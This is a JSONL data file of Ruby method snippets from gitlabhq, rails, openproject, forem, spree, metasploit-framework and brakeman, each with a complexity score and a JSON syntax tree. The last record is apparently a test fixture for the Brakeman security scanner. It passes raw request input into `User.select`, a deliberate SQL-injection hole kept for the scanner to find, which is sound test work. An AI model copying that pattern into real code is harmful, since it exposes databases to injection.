{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/diff/file.rb","start_line":329,"raw_source":"def rich_viewer\n        return @rich_viewer if defined?(@rich_viewer)\n\n        @rich_viewer = rich_viewer_class&.new(self)\n      end","complexity_score":4.3,"ast_json":"{\"type\":\"def\",\"children\":[\"rich_viewer\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"defined?\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@rich_viewer\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@rich_viewer\"]}]},null]},{\"type\":\"ivasgn\",\"children\":[\"@rich_viewer\",{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rich_viewer_class\"]},\"new\",{\"type\":\"self\",\"children\":[]}]}]}]}]}","id":"45170d41-8a54-46ec-aec6-239ef77ff552"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/github_import/user_finder.rb","start_line":399,"raw_source":"def map_to_personal_namespace_owner?\n        project.root_ancestor.user_namespace? &&\n          project.import_data.user_mapping_to_personal_namespace_owner_enabled?\n      end","complexity_score":8.8,"ast_json":"{\"type\":\"def\",\"children\":[\"map_to_personal_namespace_owner?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"root_ancestor\"]},\"user_namespace?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"import_data\"]},\"user_mapping_to_personal_namespace_owner_enabled?\"]}]}]}","id":"4315dbb1-778f-42fe-a841-157a4053824c"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/encryption/encryptor.rb","start_line":158,"raw_source":"def compress(data)\n          @compressor.deflate(data).tap do |compressed_data|\n            compressed_data.force_encoding(data.encoding)\n          end\n        end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"compress\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"data\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@compressor\"]},\"deflate\",{\"type\":\"lvar\",\"children\":[\"data\"]}]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"compressed_data\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"compressed_data\"]},\"force_encoding\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"encoding\"]}]}]}]}","id":"6a79e5ca-cd91-4bd6-824e-b4850a42d720"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/reporting/lib/report/inherited_attribute.rb","start_line":32,"raw_source":"def inherited_attribute(*attributes)\n    options = attributes.extract_options!\n    list    = options[:list]\n    merge   = options.include?(:merge) ? options[:merge] : options[:list]\n    default = options[:default]\n    uniq    = options[:uniq]\n    map     = options[:map] || proc { |e| e }\n    default ||= [] if list\n    attributes.each do |name|\n      define_singleton_method(name) do |*values|\n        # FIXME: I'm ugly\n        return get_inherited_attribute(name, default, list, uniq) if values.empty?\n\n        if list\n          old = instance_variable_get(:\"@#{name}\") if merge\n          old ||= []\n          return set_inherited_attribute(name, values.map(&map) + old)\n        end\n        raise ArgumentError, \"wrong number of arguments (#{values.size} for 1)\" if values.size > 1\n\n        set_inherited_attribute name, map.call(values.first)\n      end\n      define_method(name) { |*values| self.class.send(name, *values) }\n    end\n  end","complexity_score":70.3,"ast_json":"{\"type\":\"def\",\"children\":[\"inherited_attribute\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"attributes\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"options\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]},\"extract_options!\"]}]},{\"type\":\"lvasgn\",\"children\":[\"list\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"list\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"merge\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"include?\",{\"type\":\"sym\",\"children\":[\"merge\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"merge\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"list\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"default\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"default\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"uniq\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"uniq\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"map\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"map\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"proc\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"e\"]}]},{\"type\":\"lvar\",\"children\":[\"e\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"list\"]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"default\"]},{\"type\":\"array\",\"children\":[]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"define_singleton_method\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"values\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"values\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get_inherited_attribute\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"default\"]},{\"type\":\"lvar\",\"children\":[\"list\"]},{\"type\":\"lvar\",\"children\":[\"uniq\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"list\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"merge\"]},{\"type\":\"lvasgn\",\"children\":[\"old\",{\"type\":\"send\",\"children\":[null,\"instance_variable_get\",{\"type\":\"dsym\",\"children\":[{\"type\":\"str\",\"children\":[\"@\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}]}]},null]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"old\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"set_inherited_attribute\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"values\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"map\"]}]}]},\"+\",{\"type\":\"lvar\",\"children\":[\"old\"]}]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"values\"]},\"size\"]},\">\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"wrong number of arguments (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"values\"]},\"size\"]}]},{\"type\":\"str\",\"children\":[\" for 1)\"]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"set_inherited_attribute\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"map\"]},\"call\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"values\"]},\"first\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"define_method\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"values\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"send\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"values\"]}]}]}]}]}]}]}]}","id":"5eedc919-579f-4cf0-8b95-c7e25a0c9c5d"}
{"repo_name":"forem","file_path":"./repos/forem/app/models/feed_event.rb","start_line":104,"raw_source":"def self.update_single_feed_config_counters(feed_config_id)\n    ThrottledCall.perform(\"feed_config_feed_success_score_#{feed_config_id}\", throttle_for: 5.minutes) do\n      impressions = FeedEvent.where(feed_config_id: feed_config_id, category: \"impression\")\n      return if impressions.empty?\n\n      clicks = FeedEvent.where(feed_config_id: feed_config_id, category: \"click\")\n      reactions = FeedEvent.where(feed_config_id: feed_config_id, category: \"reaction\")\n      comments = FeedEvent.where(feed_config_id: feed_config_id, category: \"comment\")\n      pageviews = FeedEvent.where(feed_config_id: feed_config_id, category: \"extended_pageview\")\n\n      # Count the distinct users for impressions and each event type\n      distinct_impressions_users = impressions.distinct.pluck(:user_id)\n      distinct_clicks_users = clicks.distinct.pluck(:user_id)\n      distinct_reactions_users = reactions.distinct.pluck(:user_id)\n      distinct_comments_users = comments.distinct.pluck(:user_id)\n      distinct_pageviews_users = pageviews.distinct.pluck(:user_id)\n\n      # Calculate score based on distinct users\n      reactions_score = distinct_reactions_users.size * REACTION_SCORE_MULTIPLIER * 2\n      clicks_score = clicks.sum(\"POWER(2.0/3, article_position - 1)\")\n      comments_score = distinct_comments_users.size * COMMENT_SCORE_MULTIPLIER * 2\n      pageviews_score = distinct_pageviews_users.size # 1x multiplier for extended pageviews\n\n      score = (clicks_score + pageviews_score + reactions_score + comments_score).to_f / distinct_impressions_users.size\n      \n      # Update the feed config counters\n      FeedConfig.find_by(id: feed_config_id)&.update_columns(feed_success_score: score, feed_impressions_count: impressions.size)\n    end\n  end","complexity_score":67.95,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"update_single_feed_config_counters\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"feed_config_id\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ThrottledCall\"]},\"perform\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"feed_config_feed_success_score_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"feed_config_id\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"throttle_for\"]},{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[5]},\"minutes\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"impressions\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FeedEvent\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"feed_config_id\"]},{\"type\":\"lvar\",\"children\":[\"feed_config_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"category\"]},{\"type\":\"str\",\"children\":[\"impression\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"impressions\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"clicks\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FeedEvent\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"feed_config_id\"]},{\"type\":\"lvar\",\"children\":[\"feed_config_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"category\"]},{\"type\":\"str\",\"children\":[\"click\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"reactions\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FeedEvent\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"feed_config_id\"]},{\"type\":\"lvar\",\"children\":[\"feed_config_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"category\"]},{\"type\":\"str\",\"children\":[\"reaction\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"comments\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FeedEvent\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"feed_config_id\"]},{\"type\":\"lvar\",\"children\":[\"feed_config_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"category\"]},{\"type\":\"str\",\"children\":[\"comment\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"pageviews\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FeedEvent\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"feed_config_id\"]},{\"type\":\"lvar\",\"children\":[\"feed_config_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"category\"]},{\"type\":\"str\",\"children\":[\"extended_pageview\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"distinct_impressions_users\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"impressions\"]},\"distinct\"]},\"pluck\",{\"type\":\"sym\",\"children\":[\"user_id\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"distinct_clicks_users\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"clicks\"]},\"distinct\"]},\"pluck\",{\"type\":\"sym\",\"children\":[\"user_id\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"distinct_reactions_users\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reactions\"]},\"distinct\"]},\"pluck\",{\"type\":\"sym\",\"children\":[\"user_id\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"distinct_comments_users\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"comments\"]},\"distinct\"]},\"pluck\",{\"type\":\"sym\",\"children\":[\"user_id\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"distinct_pageviews_users\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pageviews\"]},\"distinct\"]},\"pluck\",{\"type\":\"sym\",\"children\":[\"user_id\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"reactions_score\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"distinct_reactions_users\"]},\"size\"]},\"*\",{\"type\":\"const\",\"children\":[null,\"REACTION_SCORE_MULTIPLIER\"]}]},\"*\",{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"lvasgn\",\"children\":[\"clicks_score\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"clicks\"]},\"sum\",{\"type\":\"str\",\"children\":[\"POWER(2.0/3, article_position - 1)\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"comments_score\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"distinct_comments_users\"]},\"size\"]},\"*\",{\"type\":\"const\",\"children\":[null,\"COMMENT_SCORE_MULTIPLIER\"]}]},\"*\",{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"lvasgn\",\"children\":[\"pageviews_score\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"distinct_pageviews_users\"]},\"size\"]}]},{\"type\":\"lvasgn\",\"children\":[\"score\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"clicks_score\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"pageviews_score\"]}]},\"+\",{\"type\":\"lvar\",\"children\":[\"reactions_score\"]}]},\"+\",{\"type\":\"lvar\",\"children\":[\"comments_score\"]}]}]},\"to_f\"]},\"/\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"distinct_impressions_users\"]},\"size\"]}]}]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FeedConfig\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"feed_config_id\"]}]}]}]},\"update_columns\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"feed_success_score\"]},{\"type\":\"lvar\",\"children\":[\"score\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"feed_impressions_count\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"impressions\"]},\"size\"]}]}]}]}]}]}]}","id":"ce806d28-78e5-41ac-a37e-3c409b76f8b9"}
{"repo_name":"spree","file_path":"./repos/spree/admin/app/controllers/spree/admin/translations_controller.rb","start_line":59,"raw_source":"def load_data\n        @locales = (current_store.supported_locales_list - [@default_locale]).sort\n      end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"load_data\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@locales\",{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_store\"]},\"supported_locales_list\"]},\"-\",{\"type\":\"array\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@default_locale\"]}]}]}]},\"sort\"]}]}]}","id":"afdc0edf-a3db-462a-8fca-7ab4e21eed69"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/migration/command_recorder_test.rb","start_line":451,"raw_source":"def test_invert_add_foreign_key_with_column_and_name\n        enable = @recorder.inverse_of :add_foreign_key, [:dogs, :people, column: \"owner_id\", name: \"fk\"]\n        assert_equal [:remove_foreign_key, [:dogs, :people, column: \"owner_id\", name: \"fk\"], nil], enable\n      end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_invert_add_foreign_key_with_column_and_name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"enable\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@recorder\"]},\"inverse_of\",{\"type\":\"sym\",\"children\":[\"add_foreign_key\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"dogs\"]},{\"type\":\"sym\",\"children\":[\"people\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"column\"]},{\"type\":\"str\",\"children\":[\"owner_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"fk\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"remove_foreign_key\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"dogs\"]},{\"type\":\"sym\",\"children\":[\"people\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"column\"]},{\"type\":\"str\",\"children\":[\"owner_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"fk\"]}]}]}]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"enable\"]}]}]}]}","id":"ff7c08a5-11f3-456b-83d2-4799a3b4b0c4"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/requests/recursive_webhook_detection_spec.rb","start_line":21,"raw_source":"def trigger_web_hooks\n    params = { merge_request: { description: FFaker::Lorem.sentence } }\n    put project_merge_request_path(project, merge_request), params: params, headers: headers\n  end","complexity_score":8.2,"ast_json":"{\"type\":\"def\",\"children\":[\"trigger_web_hooks\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"params\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"merge_request\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FFaker\"]},\"Lorem\"]},\"sentence\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"put\",{\"type\":\"send\",\"children\":[null,\"project_merge_request_path\",{\"type\":\"send\",\"children\":[null,\"project\"]},{\"type\":\"send\",\"children\":[null,\"merge_request\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"params\"]},{\"type\":\"lvar\",\"children\":[\"params\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"headers\"]},{\"type\":\"send\",\"children\":[null,\"headers\"]}]}]}]}]}]}","id":"071a7bfa-9c39-4b77-9448-a770a005c554"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/import/bitbucket_server_controller.rb","start_line":159,"raw_source":"def credentials\n    {\n      base_uri: session[bitbucket_server_url_key],\n      user: session[bitbucket_server_username_key],\n      password: session[personal_access_token_key]\n    }\n  end","complexity_score":10.2,"ast_json":"{\"type\":\"def\",\"children\":[\"credentials\",{\"type\":\"args\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"base_uri\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"[]\",{\"type\":\"send\",\"children\":[null,\"bitbucket_server_url_key\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"[]\",{\"type\":\"send\",\"children\":[null,\"bitbucket_server_username_key\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"password\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"[]\",{\"type\":\"send\",\"children\":[null,\"personal_access_token_key\"]}]}]}]}]}","id":"038e1457-eae7-4f72-a64a-a75fcd730453"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/features/projects/network_graph_spec.rb","start_line":23,"raw_source":"def switch_ref_to(ref_name)\n        first(ref_selector).click\n        wait_for_requests\n\n        page.within ref_selector do\n          fill_in 'Search by Git revision', with: ref_name\n          wait_for_requests\n          find('li', text: ref_name, match: :prefer_exact).click\n        end\n      end","complexity_score":14.0,"ast_json":"{\"type\":\"def\",\"children\":[\"switch_ref_to\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ref_name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"first\",{\"type\":\"send\",\"children\":[null,\"ref_selector\"]}]},\"click\"]},{\"type\":\"send\",\"children\":[null,\"wait_for_requests\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"within\",{\"type\":\"send\",\"children\":[null,\"ref_selector\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"fill_in\",{\"type\":\"str\",\"children\":[\"Search by Git revision\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"with\"]},{\"type\":\"lvar\",\"children\":[\"ref_name\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"wait_for_requests\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find\",{\"type\":\"str\",\"children\":[\"li\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"text\"]},{\"type\":\"lvar\",\"children\":[\"ref_name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"match\"]},{\"type\":\"sym\",\"children\":[\"prefer_exact\"]}]}]}]},\"click\"]}]}]}]}]}","id":"54058264-a1a8-44ff-a507-486ef2d8cd54"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/kerberos/model/host_address.rb","start_line":96,"raw_source":"def decode_asn1_type(input)\n    input.value[0].value.to_i\n  end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"decode_asn1_type\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"input\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"input\"]},\"value\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"value\"]},\"to_i\"]}]}","id":"2ebb1a33-e618-4c0d-99fc-33aebc4c7161"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/relations_test.rb","start_line":44,"raw_source":"def test_do_not_double_quote_string_id_with_array\n    van = Minivan.last\n    assert van\n    assert_equal van, Minivan.where(minivan_id: [van]).to_a.first\n  end","complexity_score":8.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_do_not_double_quote_string_id_with_array\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"van\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Minivan\"]},\"last\"]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"lvar\",\"children\":[\"van\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"van\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Minivan\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"minivan_id\"]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"van\"]}]}]}]}]},\"to_a\"]},\"first\"]}]}]}]}","id":"94ee1d2d-fd1d-4403-b058-a1ace2ef2b17"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/test/apps/rails4/app/controllers/friendly_controller.rb","start_line":67,"raw_source":"def select_some_stuff\n    User.select(:name, params[:x])\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"select_some_stuff\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"select\",{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"x\"]}]}]}]}","id":"36a1383c-8ac9-49f8-bb37-982ac4537a5b"}
